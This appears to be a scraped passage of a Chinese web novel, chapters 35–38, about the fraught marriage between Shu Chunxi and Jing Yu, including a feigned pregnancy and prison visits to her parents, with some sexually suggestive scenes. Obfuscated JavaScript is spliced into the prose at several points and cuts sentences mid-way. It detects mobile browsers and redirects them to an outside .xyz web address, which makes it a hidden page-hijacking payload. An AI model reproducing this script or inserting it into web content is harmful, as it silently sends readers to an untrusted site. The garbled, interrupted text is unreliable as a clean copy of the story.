当年那件事到底该怎么定论他也不在乎了,他可以低头可以道歉,可以说对不起,可以祈求她的原谅。 都可以,他发现自己根本就不在乎谁是谁非。 如果对手是她,他早就会缴械投降的。 舒纯熙推搡的动作停了,她支着身体,因为拉扯,肩头掉落的睡袍也没有去管,目光浮上一层怜悯,看着敬渝,突然对他说: “所以呢?你不准备把我当弟妹,而是要我做你真正的妻子?” 男人几乎崩溃地低吼了一声: “没有什么弟妹,也没有什么大哥,你不要再说这个!” “敬渝,你在逃避,但是逃避解决不了任何的问题。你其实心里面介意我和敬亭的关系,介意得要死吧。” 她“呵呵”笑了一声,在他怀里冷冷地说: “你以为我们结了婚,就能回到以前了么?不一样的,一切都不一样了。你幻想你得到了从前那个舒纯熙做你的妻子么?” 她在他怀里动作幅度很小地摇了摇头, “你好好看清楚现在的我,你来弄明白我如今是谁。” 說完這句話,舒純熙貼著他起伏的胸膛往上攀,雙臂摟在了敬渝的脖子上,湊近,伸出小舌舔了一下他的喉……結。 原本仰起头不敢看她的男人浑身猛地一颤,难耐地闭上了双眼,嘴里挤出几个字: “纯熙,你冷静一点,你别这样行吗?” 女人不語,撐著他的胸膛,手一路從他腹肌中間往下滑,最後隔著泛著緞面光澤的黑色布料,撫住了那根口口。 红唇倚在他耳边,几乎就要亲到他的耳垂,轻吟道: “大哥现在想要纯熙么?要进来跟你的侄子或者侄女打个招呼么?” 说完,她还亲昵地捏了一下。 敬渝的脸色变得铁青,一只手牢牢地攥住舒纯熙的腕子,把她从自己身上拿开,两个人的手就这样在半空中僵持着。 女人纤细的手腕扭动了一下,蹙起眉头一副哀怨的模样,低声求情道: “大哥,你弄得纯熙好疼啊,如果你实在是不想要我,那我就用手或者用嘴帮你,也行啊。” 敬渝不想相信自己听到了什么,沉下的眼眸里蓄起滔天的狂风巨浪,但面对着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473180|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却又无处迸发,整个人最终透露着一股死寂和生人勿近的气场来。 “舒纯熙,你给我闭嘴。” 舒纯熙当然不会闭嘴,她的手还被他拽着收不回来,索性就那样任他攥着,柔软地没有了一点抵抗意味,凑在他鬓边又张嘴亲了一口,抱怨地说: “怎么了嘛,我□□还是不错的,敬亭又没你这么好的脾气,一次不行就两次,两次不行就再来,后来哭得多了,我也就学得很好了。你真不想试试么?” 敬渝只觉得自己已经不能通畅呼吸了。 他不想听她说的话,但她的话却一字一句地钻进脑海里,然后开始自动解析成为他理解的那个意思。 他不知道这是他们夫妻曾经的情趣还是什么,也从来没想过会从舒纯熙的嘴里听说过这些。 不是吃醋,也不是难堪,而是难过。 在这天这夜的情景里,她明明是用抱怨着自己的语气说出口的话,但他活像被人连扇了十几个巴掌一样,心脏已经麻木到不知道是该疼还是怎样。 他也不知道自己是该笑还是该哭。 满心满腹的难以言喻,最终,男人轻轻松开了攥着她的手。 “你在报复我,纯熙,” 他的头颅缓慢到极致地转动了一下,似乎了然一般,说服自己, “你恨我,你恨我。” “我怎么是恨你呢,” 女人叹了一口气,老老实实乖巧地坐在他面前,垂下眼逆来顺受地说: “我是感激你,感激你娶我,帮舒家,我想报答你嘛。” 敬渝没说话,无声地扯出来一个唇角的弧度。 眼前的情况混乱成了这个样子,他也不知道自己还能干点什么了。可能他离开,才是对他们来说最好的解决方案。 沉默了一会儿,男人伸出手,很守规矩地替她拢了拢衣襟,动弹了一下腿。 舒纯熙顺势下来,而他则下了床,背对着她,忽然说: “我会把舒家完完整整地还给你的,你照顾好自己的身体。” 说完,男人身姿僵硬地离开了卧室。 房间里,面对着床背方向跪坐的女人,缓缓地叹出一口气,瘫坐下去,精疲力尽地想。 这样也好。 36. 第 36 章 第三十六章、 她趴在床上,用小婴儿在母体里的姿势接触着身下的床垫,被子早在方才就被踢到了后面。 手脚都不是很舒适的姿势,但舒纯熙停滞着动作,没有要再变动的意思。脑子里嗡嗡地在响,她一点也不想要去回想刚刚那些从自己嘴里说出来的话。 不予评价地把那段回忆给塞到心房的某个抽屉里,只是在心里告诉自己,这样,最好不过了。 . 这天晚上敬渝离开之后就没有回房了,不知道他是去客房睡了还是去了书房,但横竖跟舒纯熙没有关系,她没去关心。 可之后一连过了好几天,舒纯熙也没从李阿姨那里听到些什么风声,貌似家里人都不知道敬渝晚上不是在他们的卧室休息的。 舒纯熙有时候早上起不来,压根不会在餐厅吃早餐,也就遇不上早起出门去公司上班的敬渝。 至于午餐,也是她一个人吃。 唯一风雨无阻的,大概就是两个人会在晚餐的餐桌上碰面,敬渝貌似从不会在公司加班。 晚餐后他就去书房,到了入睡的时间,就回房间来洗漱换衣,最后,再离开房间。 除了不再跟她睡在一张床上,加上不怎么跟她说话之外,他基本待她如常。 只不过,从外面那些商店里买回来的好玩的、好吃的,不再是他亲手送过来,而是会出现在卧室的茶几上,衣帽间的岛台边,或者门外的花瓶柜上面。 有一天舒纯熙十一点下了楼,还没到吃午餐的时候,但腹中空空,自己走到厨房的冰箱里打开门,看见冷藏有一层里面堆满了各种样子的酥脆小面包,三明治、可颂、牛角包、香肠小点。 这些面包并不是同一家店的,又各自独特的贴纸包装。 冰箱前的女人挑了下眉,意识到这应该是敬渝买回来给她当早餐的,她以前就很喜欢吃这些。 但她最近没吃上早餐,所以这些面包也就堆在了冰箱里,可能一时之间,家里的佣人也不知道该怎么处理。 舒纯熙也想不明白,他为什么还在做这些事情。是为了证明“你推开我,但我对你的好不会这么势利地收回”么? 可她偏偏不想要他的这份证明。 不知道是不是察觉了舒纯熙依旧在失眠,敬渝在一天晚上洗完澡后,没有立刻离开房间,而是坐上了床的另一侧,从抽屉里又拿出了那本书搭在腿上,语气淡然地像是在跟不熟的同学搭话一样。 “你打算什么时候睡?我留下来给你读完书再走。” 另一侧的女人划动平板屏幕的笔端停了,其实,自从他往床边走来之后,她就没办法专注在自己眼前的游戏上了。 余光留意着旁边人的一片青色衣角,舒纯熙一时间没有吭声。 敬渝没得到她的回答,也并不着急,好整以暇地在床头倚靠了起来,颇有耐心地翻看起了手里的书。 一旁的女人自顾自地玩了一会儿,可能是又觉得索然无味,就关上了平板,掀开被子躺了下去。 睡裙与床单摩挲的声音很快就停歇,敬渝偏过头,看她已经紧闭上了双眼,便也将书翻回到上次停下的地方,开口继续往后读了下去。 低沉男声,娓娓道来,跟上一次给她读书的时候,听起来没什么分别,还是那样的平静从容。 舒纯熙转了个身侧过去,背对着身后的男人,却从那一句句的话语里,捕捉到一些若有似无的疏离淡漠,克制着,大概是打定主意,要自己做个旁观者、局外人那样了。 敬渝也确实是有些怵舒纯熙了,他发觉自己心里有了一种面对她时的踌躇胆怯,他也不敢再贸然地靠近她,轻易地跟她开启一段对话。 他真的害怕她还会像那天一样,忽然就对自己说出那样摧心折骨的话来。 就连现在留在房里给她继续读书哄睡的举动,都已经是他鼓足勇气才敢有的试探之举了。 他自觉已经懦弱得不知该如何是好了,对上如今的舒纯熙,当真是束手无策。 或许她说得是对的,她跟以前确实是不一样了,以前的她是一只纸糊的老虎,虽然热情主动,但实际上,根本做不出来那样的事,更不会说那种放肆的话。 那些年,他们连接吻都没有过,她最大胆的举动也就是蜻蜓点水般的印吻了。 他就更不必说,是个死守规矩的老顽固。 而现在呢,从波利回来的她变了一副模样,但他却还停留在原地,没有一点改进。 敬渝在心里暗叹一声,翻页,继续读下去。 读了约莫四十分钟,身旁的人陷入了睡眠之中,敬渝动作轻巧地收了书。 下床之前,他还是朝舒纯熙探过身,盯着她的脸看了好一会儿,没有伸手去碰碰她,只是默默地问睡着的女人: “纯熙,我要怎么办才好?” 他能问的出口,却没有人会回答。 好在他说完这句话,也没有执着,拧着眉头就起身下了床,关灯后出了门。 敬渝去了书房,书房里并没有准备床,他晚上就缩在那张长沙发上面。 这样的日子已经持续了一段时间,他并不想找一间客房去休息,心里是实在不想叫其他人看他们俩的笑话。 就这样,敬渝每天晚上在卧室待的时间延长了一段读书的时间。 舒纯熙也没有让他走,几乎是默认了他的行为。 毕竟她的失眠依旧没有改善,有人在耳边读东西,听上个半个小时,确实会酝酿出来一点睡意。 敬渝又给舒纯熙读了几天的书,这天夜里,在她睡着之后,厚着脸皮也躺了下去。 第二天是周日,他不用去公司,也就没有早起。 于是舒纯熙转醒来之后,自然察觉了还赖在床上没有起床的敬渝。 睡眼惺忪的女人揉了揉眼,没忍住,“嗯”地疑惑出了声。 男人已经醒了,就不再装睡,从床上坐起来,揉了揉脖子,淡淡地解释道: “我书房的沙发睡着实在不舒服,所以就回来睡了。” 说完这句,他顿了一下,又颇为认真地问了一句: “你不介意吧?” 还窝在被窝里的人已经清醒了,她眯起眼,思考着敬渝口里的话的同时,脑海里浮出好几次半夜醒来时看见的身影。 如果他回房来睡,以后也就不用再去而复返,悄悄地背对着自己坐在床上了,跟一只飘荡的幽灵一样。 说不定还算好事。 “随便你。” 她转了个身,朝着外侧趴着。 舒纯熙的语气不咸不淡,听不出明显的喜恶来,但这已经很好了,至少敬渝在听见这句话后,悬了一晚上的心总算彻底放了下去,默默地松了一口气。 夜里,敬渝早早回了房来,两个人先后洗完澡后,就坐在床上各看各的书。 自从出了上次那样的事,敬渝再也不敢出什么泡脚和按摩之类的主意了,每天晚上就给舒纯熙读书,好在目前还有些效果,也就不再费心张罗其他的治疗方法。 舒纯熙在看一本画册,而一边的敬渝翻的是一本讲孕妇知识的书,还是他上床后从舒纯熙那边借的。 也就是这段时间,舒纯熙发现自己这边的床头柜上多了好几本这类书,还有一个玻璃小盒,里面放着好几种口味的糖果,还有两盒口香糖。 大概都是敬渝交代的。 纸张翻页声在室内响着,敬渝的脸色越来越凝重,双睫扫下,遮住眼眸,双唇抿成一条直线。 最近忙起来别的事情,他也没找到时间好好看这些书,今天才准备把这些事情给重新捡起来。 而后,他在心里快速过了一遍舒纯熙这段时间的状态。 骨瘦如柴,最近好像稍微养出来一点肉。 除此之外,孕期还抽过几次烟,虽然近日好像是没再见到了,应该确实没有再抽,但也不知道对孩子有没有造成太大的影响。 她还经常熬夜,很晚才睡,第二天起迟了就直接不吃早餐。 而且,她虽然没有什么情绪异常激动的情况,但一直以来,好像都处于一种心情不太明媚的情况,仔细想想,多少是有点不好的兆头的。 敬渝思绪运转得很快,在脑中过了这些事,唯恐遗漏什么,不待想完,心里已然升起一种慌张又烦躁的情绪。 他自以为会照顾好她的身体和情绪,但实际上呢,这样能养好胎才怪! 一种无力的自责,掺杂着对自己的愤懑涌上心头,将他的头压得更低了一点。 舒纯熙翻完书册,合上,随手搭在床头柜上的那一堆书上,然后转回身来,就眼睁睁看着敬渝朝自己靠了过来。 她移开头,漫不经心地皱了下眉, “你要干什么?” “你上次产检是什么时候,我明天让人去约下次,医院我已经安排好了。” 闻言,女人动作停顿了下去,瞥了他一眼,又转回来,盯着自己身上盖着的薄被,平白生出几分愁绪来,一时间没有答话。 敬渝没有催促,只是凑近过来,俯下身,慢吞吞地开口,温声问道: “我能听听孩子的胎动么?” 嘴上说着这话,但男人其实已经将近俯到她小腹之前。 舒纯熙对着闯进视线的男人,双眸间已经浮上一股一言难尽的表情。 她没说话,也没有动弹,敬渝便当她是默认了,轻轻地偏头,将自己的耳朵小心翼翼地贴在舒纯熙的小腹上。 结婚那夜之后,敬渝心里已经存了一桩长久的疑虑,找心理医生咨询了舒纯熙的情况。 两个人枯坐分析了很久,如今,他心里对她关于人身接触的界限也有了个大概的模糊推断。 所以,只要不是突然的强迫之举吓到了她,她应该还是能跟自己正常触碰的,他需要保证的是,自己的动作都是在她的眼皮子底下产生的,也就是说处于她的意识之中,她心里有数,应该就不会有什么问题。 而后来,她骑在他身上那天,并没有什么异常,更是从另一方面印证了他的猜测。 敬渝呼吸放缓的同时,舒纯熙也在不自觉地屏息凝神,可越想要放轻动作,身体反而越发僵硬不得舒展,弄巧成拙。 她凝眸看着敬渝的动作,感受得到他周身散发出来的体温热度,暖意混在夜凉寒露之中,难以忽视。 男人双手撑着,头放在她身前,却不会有一点点压迫到她身体的可能性,小心翼翼的动作足见珍视。 舒纯熙也不知道,他能不能听到他想要的什么动静,总之他在那侧耳未动,双唇张开一条缝隙,聚精会神。 他表现得真像一个期待好奇新生儿的父亲,而不是什么大伯。 就像他先前保证的那样。 舒纯熙忽然觉得很累,撑在身侧的双手,十指忽然剐蹭着真丝床品,像内收的同时掐在床垫上。 她的眼皮子耷拉了下来。 原以为那天过后,他们就会相安无事。 但只不过一旬而已,他就能做到如常地搬回房间,做起了和以前一样的事情。 好像一点都不在意,对于先前只字不提。 舒纯熙不知道自己还有多少耐心,去应付他的所谓柔情。 “它闹你么?” 男人总算支起了身子,手掌伸过来,隔着两层面料的阻挡,覆在她的小腹上,没有动,只是轻抚了一下。 目光里已浮起星星点点的心疼与怜惜,只不过垂着头,没有展露给舒纯熙看。 “纯熙,你会不会很辛苦啊?……” 男人犹豫着,口中还有话未尽,其实,他觉得自己做得真不够好,自从她回来,也没能让她处处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那你,为什么要骗我呢?” 舒纯熙轻轻皱了一下眉头,理所当然地回答他: “因为耍你很好玩啊。怎么样,这段时间一直觉得我怀了敬亭的孩子,还要读那些书学习怎么照顾孕妇,费心费力地给别人当后爸,你心里面滋味如何啊?” 敬渝冷笑了一声,想张嘴,但满口苦涩。胸腔里燃烧着的岩浆冲击着理智的防线,仿佛就要把他整个人都给烧成灰烬。 男人勾唇,低低地又干笑了一声,脸上的表情连舒纯熙看上去都陌生极了。 他攥着衣摆,双拳青筋暴起,耐着天大的性子,慢条斯理地回答舒纯熙的问题,说: “你说的对,耍我是很好玩。 “那我告诉你,这段时间以来,我敬渝,锥心刺骨,悔之莫及,撕心裂肺,透骨酸心,夜不能寐……怎么样,现在你满意了么,舒大小姐?” 舒纯熙这下没有应声了,她只是默默地撑着床垫往床边移动了一点,好像在害怕敬渝会突然暴起对她怎么样,已经开始提前想对策了。 敬渝看见她这样子,也只得冷笑一下,依旧坐在床上一动不动。 是他犯贱,是他蠢得不行。 他总觉得她没有变,所以才总是把她当成两年前的那个人对待,而她呢,她看他的眼神,时时刻刻都在说,她根本就不把他当做从前的那个敬渝在看了。 明明率先离开的人是她,那个毫不犹豫就抛下自己的人是她,现在她反而却跑回来报复起了自己。 敬渝似哭似笑,摸了摸鼻尖,冷漠的眼睛盯着舒纯熙,不复先前的半分温和,咬紧牙关死死地说: “舒纯熙,你凭什么报复我?你决定跟敬亭结婚的时候,提前告诉我了么?通知我了吗?我什么都不知道,你们两个是瞒着我在波利结的婚!” “那又怎么样?!” 舒纯熙拔高了音量,突然从床上坐直了身子,双眼亦是死死盯着敬渝的眼睛,情绪一旦激动起来,顷刻便红了眼眶, “你本来有机会娶我的,我是先找的你,是你不要,是你自己不愿意娶我的!” “我没有不愿意娶你!我只是不能答应立刻娶你,我们不能在那个风口浪尖结婚你不明白吗?那天你究竟有多么咄咄逼人你不记得了吗,你告诉我,我除了保持沉默,到底还要怎样才能把你给劝住?” “你不是,你只是不想保护我,不想跟我结婚,你只是害怕了,你只是不要我了。” 舒纯熙摇着头,呢喃着重复,好像已经平静下来,然后,她又重重地吼叫了一句, “是你先不要我的!” 敬渝本就攥紧的双拳已经不能再收紧,徒劳地松开,他颓唐地塌下肩背,继续低声说: “我以为你去莫瑞恩尔避避风头也很好,等事情处理得差不多了我再接你回来。家里的婚事我已经让人着手在准备了,我根本拗不过你的不是么,其实我早就缴械投降了,只不过就是晚了不到半个月而已。但你一点挽回的余地都没有留给我。我还给你发过消息,可你回了我什么? “君既无心我便休,萧萧夜雨断肠愁。” 敬渝无可奈何地摇了摇头,周身染上晦涩与灰暗,苦笑地重复了一句, “君既无心我便休,萧萧夜雨断肠愁。君既无心,君既无心。舒纯熙,你不是说你喜欢我的么,我对你到底有没有心,你自己不知道?” “至于断肠愁,你安然另嫁,成双入对,夫妻和睦,到底是谁在忍受这‘断肠愁’?” 舒纯熙没怎么听过敬渝如此直接的表明心意,但此时此刻说出来这些还有什么用,想也知道现在不是表白的好时机。 她听在耳边只觉得一阵头痛眩晕,咬文嚼字地说了句: “我没给你发过这句话,我根本就没收到过你的消息。” 直到现在,她都不觉得当年敬渝后过悔。 37. 第 37 章 第三十七章、 舒纯熙只觉得疲惫,根本不想细究这件小事,往后仰靠在床头。 因为她已经移到了床边,所以背部一小半都悬空着,抵到床头的那盏台灯,一不注意就可能要掉下去。 看上去,果真是视现在的他为洪水猛兽的模样。 因为她欺骗、愚弄了他。 敬渝从床上直起了身,转过去从自己的那边利索地下了床,走到床尾站着,远远地望着对角线上那边的女人,冷冷地说: “你用不着害怕,我还不至于控制不住自己,做出来什么伤人的事情。” 舒纯熙低下头,原本想要蜷起来的双腿也一时僵住,杵在那里没有了进一步的动作。 而后男人又忽然开口,已经是思绪在脑海里又过了不知道多少遍,而他一脸无望地说: “你没看到过那条消息也没关系,反正我很快也就找到莫瑞恩尔去了,不是么?” 舒纯熙一动不动,没有反应,但其实已经在心中也点点头,应和起了他。 是啊,只是一条消息而已,根本改变不了什么。 毕竟两个人都心知肚明,他是追到了莫瑞恩尔,但最后,是一个人回去的。 敬渝走了,连关门的时候都没有用重力气,轻轻地带上,只好像这又是一个寻常的夜晚而已。 但舒纯熙知道,他是不会再回来了。 这样正合她的意,反正他也已经给过自己承诺了,就算他们现在彻底闹僵了,以敬渝的性格,也不可能不管舒家的事的。 她实在没有什么好担心的了,也犯不着顾忌他。 舒纯熙就这样想着,终于移回了自己原来坐的地方,目光在空荡荡但明显很安全的房间里扫视了一下,最后落在右手边,敬渝的枕头上。 她抱起枕头团在怀里,不轻不重地给了里面柔软的鹅毛几拳,拉着脸,又把它塞到了被子里面。 眼不见为净。 但被子里凸起来的那个地方,又在眼前挥之不去。 她又一把掀开被子,咬着牙将那枕头猛地扔下了床,一个平地挺身,躺在床上,又趴过去,把脸埋在了床垫里。 . 敬渝是压着一身火气离开卧室的。 出了门就往楼梯走,低着头一步不停地下台阶,一鼓气走到一半,男人才忽然停下了脚步,抿着唇,只觉得有一口气堵在嗓子眼里。 上不去,又下不来。咽不下,却又吐不出。 最后也只能烦躁地扯起了衣领,偏偏身上的睡衣是两片敞领的衬衫款式,根本不像平时穿的衬衫那样压抑,到头来不过是此地无银三百两而已。 于是他也只能站在楼梯半道上,冷冷地勾唇,唇角扬起一个十足僵硬的弧度,实在是摆不出往日的平和,只好自嘲地笑了半声。 半晌后,还是沉下一张脸来。 荒谬,这一切都让他觉得荒谬到了极点。 自从她从莫瑞恩尔回来之后,做的每一件事都是这么地出乎自己的意料。 一开始,他觉得她在四周竖起了墙,不让自己靠近。 但现在,他总算进到了墙里面来,她却又开始用利刃狠狠地剜他的血肉。 敬渝想着,无奈地闭上了双眼。 过了好一会儿,僵着身子的男人才继续往下走,整个人已然又压抑成了平时那副无风无波的样子,在脑海里思索起别的事情来。 两周前,一份在祝文兵生前,他亲自着手调查整理的、尚未完成的文件,应该已经作为他未竟的一桩心事,以遗嘱的形式呈给了国政院的诸位议员。 无论如何,这件事都不会沉寂下去的。 . 如同舒纯熙希望的那样,敬渝又继续睡在书房,还会尽量避开她,晚上多在外面应酬,夜半才归。 两个人已经很久没有面对面坐下来了,实在碰上了,他也不主动跟她说话,更不看她。 舒纯熙捕捉到过他躲闪着的漠然的眼神。 不待她想明白,既然漠然,又为什么要躲闪这个问题,男人已经转过身,留给她一截如松如竹挺拔坚忍的背影,只是有那么一丝萧索的意味,却也很快就会消失在走廊或者楼梯的尽头。 被落在后面的女人挑挑眉,垂下头看自己的拖鞋,漫无目的地踢了几下,自己跟自己玩似的。 转眼翻过月尾,到了下个月,郑徽提前和舒纯熙打过招呼,说了这次去一等公狱探望的具体时间。 舒纯熙记下了,这一天起得早,九点就从家里出发。 时间充裕,舒纯熙提前也计划好了,先去探视完几位叔伯之后,再去见父亲,然后再去女狱那边,去见母亲。 见完舒怀宁,女人从会见室的门后走出来时,碰巧望见跟在一个狱警身后,缓步走过来的敬渝。 原来他今天也来见舒怀宁,只是没跟自己一起从家里出发。大概没想过时间没有岔开,两个人还是遇上了。 舒纯熙眨了眨眼,目光落在男人身上,轻飘飘地如同一片羽毛。说不上心里是什么情绪。 就在方才,父亲还过问她和敬渝的事,问他们婚后相处得怎么样。 敬渝有没有对你哪里不好?有没有不周到不体贴的地方? 舒纯熙只记得自己摇了摇头,诚然,敬渝对自己很好了。 既然如此,那你们就好好过日子。至于手上的东西,你也找时间交给他吧,不管他用不用得上,我们也不必藏着掖着了,如今结了婚,不管是明面上还是实际上,咱们两家都捆绑在了一起,也没什么好顾忌的了。 …… 敬渝确实是从公司赶过来了,最近他很忙,忙着公事,让自己的心暂存在冷冻柜里,不能分得出任何精力去想任何别的事情。 而不经意抬头的瞬间,已经撞上走廊尽头的女人投过来的目光。 那一瞬,呼吸不争气地缓了,他忘了自己刚养成的习惯,竟停住,没有收回自己的眼神,反而容许自己与她对望。 她现在总算养回来一点肉,看上去身材更匀称,本来就白得透光的皮肤,在纯白色的丝质连衣裙映衬下,整个人泛着一种还算平和的气质,就像一颗闪着光泽的珍珠一样。 自从知道舒纯熙没有怀孕之后,家里原来的那些营养师就走了,换成了做川菜和徽菜的师傅,看来确实合她的口味,也终于肯好好吃饭了。 敬渝暗自低了低眸,又自嘲地想,也有可能是因为自己终于不往她跟前凑,她心情舒畅,自然也就能“心宽体胖”了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他不知道自己又哪里惹到她了,嘴角微凝,而后有点讪讪地露出一个微笑,手抬起来,举在她小臂旁边虚虚揽着,温和地哄了一句,说: “是我说错了,你就别跟我计较了,去见岳母吧,记得帮我向她问好。” 舒纯熙倒是没再继续下他的面子,冷哼一声就与他擦肩而过。 敬渝脸上还挂着先前的浅笑,冲转过身来的宁秘书点头示意,然后望着两个人消失在走廊另一头,才有点无奈地放下唇角,垂首摸了摸自己的鼻梁,叹了口气。 舒纯熙憋着一口气,呛了敬渝一句也并没有撒出去,反而像一只河豚般良久地蓄着气,快步走在去女狱的路上。 会客室的门打开后,她走进去看见母亲坐在桌后的身影,一下子就跑过去,俯身扑进了她的怀里。 这个拥抱的姿势极其别扭,杨曦身下的椅子同桌子之间离得很近,舒纯熙只能从她身侧张开双臂环抱住母亲的上半身,中间隔着的椅子把手抵在中间,不复人体的柔软亲和。 骤然被女儿这样拥住,杨曦不知道是发生了什么事,心一惊,伸手覆在了女儿的手臂上,连忙问: “怎么了,受什么委屈了?” 38. 第 38 章 第三十八章、 “……没有。” 舒纯熙埋头压在她肩上,“唔”了两声,才抬起头,眼眶已经红了,一张小嘴瘪瘪的,含着话却不说,明明就是一副委屈得都要哭了的样子。 杨曦心里重重一跳,沉下脸来,猜道: “是不是敬渝欺负你了?” 她还是道没有,被抱着的人于是安抚地拍了拍女儿的手臂,示意她松开,然后站起来将呆站在一边的女儿搂进了怀里,用另一只手轻柔地抚摸着她的脊背,从上顺到下,抚平她的紧张和激动。 “发生什么事情了,看来是跟敬渝吵架了?” 话音落下,被母亲以一个亲密的姿势搂在怀里的舒纯熙鼻子一酸,心里又泛起一阵一阵委屈的酸涩来,飞快地告状道: “今天宁秘书见到我都叫我‘敬太太’了,之前他还喊我‘二夫人’,谁知道他是怎么知道的,但是现在人人都知道我又嫁给敬渝了!你说他们背后会怎么编排我、怎么笑话我呀……” 说着,她实在忍不住,“啪嗒啪嗒”滴下两颗泪珠来,在面上留下一条泪痕。 杨曦听到这句话,愣了一息而已,并不言语,没有回应舒纯熙的话,而是好好抱着怀里炸毛的小猫,像从前一样,用极大的耐心与柔情,抚慰着她、给她顺毛。 “妈妈,你……你说话呀!” 她抽噎着,好像明明就要平静下来了,却不甘心就这样消气,胡搅蛮缠地非要母亲站在自己这边。 “纯熙,我想你真正气的并不是这件事,对么?” 杨曦抚摸她的动作停下来,转而只是静静地拥着她。 但她没得到女儿的回答,小兽哼哧哼哧地呼着气。 杨曦平静地微笑着,继续了自己原来的动作。 舒纯熙总算还是被安抚下来了,在一个舒心温暖的臂弯里面,如同倦鸟归林,逐渐卸下所有防备和戒心,甚至有了要好好睡一觉的想法。 就在这时,身前的母亲开口了,和缓地问她: “纯熙,你是不是还在生小渝的气,到现在都不肯原谅他呢?” 当年舒纯熙和敬渝到底是怎么说的,又为什么闹成那样,转而又嫁给了敬亭,这些,她都还没有好好地跟自己说过。 但其实也不用多说,她跟舒怀宁一样,都能猜个七七八八。 舒纯熙嚅动了一下双唇,想承认又说不出来话,但要反驳,又总觉得一股子别扭劲儿。 直到最后也没说出个所以然来。 看舒纯熙的反应,杨澜也就明白女儿的想法了,她的目光从舒纯熙脸上收回,又将她面对面抱在怀中。 相拥的一对母女看不见彼此的面部表情,只是将目光投向各自面前的那扇朴素的白墙。 杨曦终于开了口,轻缓地对怀中的女儿说: “纯熙啊,当年的事情,我想小渝也很难做吧,所以不能全怪他,对不对?” 舒纯熙咬紧下唇没有说话,不知道是不是因为这句话又要赌气了。 杨曦已经又抚摸上了她的背,一字一句斟酌地说下去: “你爸他那个人啊,总觉得只有法律认证了的婚姻,才能让他安心。这是其一。 “其二呢,那时候,咱们家虽然出了事,但又不是古时候的抄家流放,非要嫁了人才能免罪。所以,你爸他非要你们立刻结婚,还让你自己去找小渝,肯定是存了试敬家的意思。 “那个时候局势混乱不清,小渝如果真的听了你爸的话,和你结了婚,就是明面上跟咱们舒家彻底站在了一起,你说是不是?” 她停顿了一下,松开女儿,看了看她脸上的神色,叹了口气,感慨了一句: “毕竟谁也不会相信,娶了我舒家的女儿,他还能真对咱们家的事不管不问,对吧?” 所以,舒怀宁的这步棋若是起了效,就能直接将敬家拖下水来。 若是不能,他也并不会损失什么,不过就是一试而已。 至于敬渝最终做出的选择,杨曦不知道他有没有过艰难的挣扎和纠结,但也明白,不帮,无可厚非。 他只是作为敬家的掌门人,选择自断一臂,没有应舒怀宁的这步棋罢了。 只不过,这一老一少两个男人的交锋,到头来,只苦了她的女儿,她的纯熙而已。 原本,如果女儿和敬亭能长长久久地过下去,这些话她也就不用说了。 可时至今日,兜兜转转,竟然又成了眼前的这副模样。 她真的不知道,是该高兴这两个孩子终于是得偿所愿了,还是该感叹老天爷忘不了要捉弄人。 “不论如何,小渝没有真的不管我们,这两年,小渝应该还是打点了不少事的。” 杨曦轻叹了一口气,最后还是明摆着劝了一句: “更何况,你当初嫁给敬亭,不论他们敬家内部到底是怎样,在外人看来,敬家相当于还是跟我们舒家绑在了一块。而国内的这些影响,小渝也认下了,对不对?” 舒纯熙不知道该说点什么,她没想到,自己难得来找母亲撒娇,最后反而听到这么一番话,明里暗里地劝她原谅敬渝。 “我不要体谅他,我要一直讨厌他、妈妈,我是不会原谅他的!” 舒纯熙挣开了杨曦的怀抱,喃喃地重复了这几句话,越说越激动,平静下去的情绪又席卷回来,伸出手抹起了眼泪来。 “纯熙,宝贝……” 女人心疼地伸出手,想要再将女儿抱进怀里,一连叫了她两声,却只能看见舒纯熙捂着脸一直往后退,止不住呜咽的声音,然后皱着眉头,眼睁睁地看着她跑了出去。 舒纯熙心里乱糟糟的,于是就不管不顾地逃离了会见室,就这样结束了这次的探视。她夺门而出时,等在外面的宁秘书似被惊到,猛地抬了下头。 而舒纯熙根本没心思管他,一路小跑着往外走。 直到出了监狱,看见等在外面的车,她才逐渐放缓了脚步。 女人打开车门坐上车,车门被关出“嘭”的一声巨响,直将坐在后座上的另一个人惊得一颤,不明所以地侧头望着她。 映入敬渝眼帘的,是一张梨花带雨的面庞,眼尾和鼻尖明显红彤彤的,额边碎发有些凌乱,看上去就像一朵被雨给打透了的蔷薇花。 “你怎么了?是岳母跟你说了什么吗?” 他好像已经很久没看见她这么哭过了,呼吸一滞,顾不得考虑更多就探身过去,放在腿侧的手已经握了起来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492827|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 舒纯熙鼻音很重地哼了一声,声音冷极,毫不犹豫地吐出了两个字,“下去。” 听到她的话,也明白这话是对自己说的后,敬渝些微地拧起了眉心,盯着她,一时间并没有动。 直到舒纯熙又用跟方才同样大小的声音,重复了一遍那两个字,他也没有动。 车厢里的氛围降到冰点,但显然不是冷气的作用。 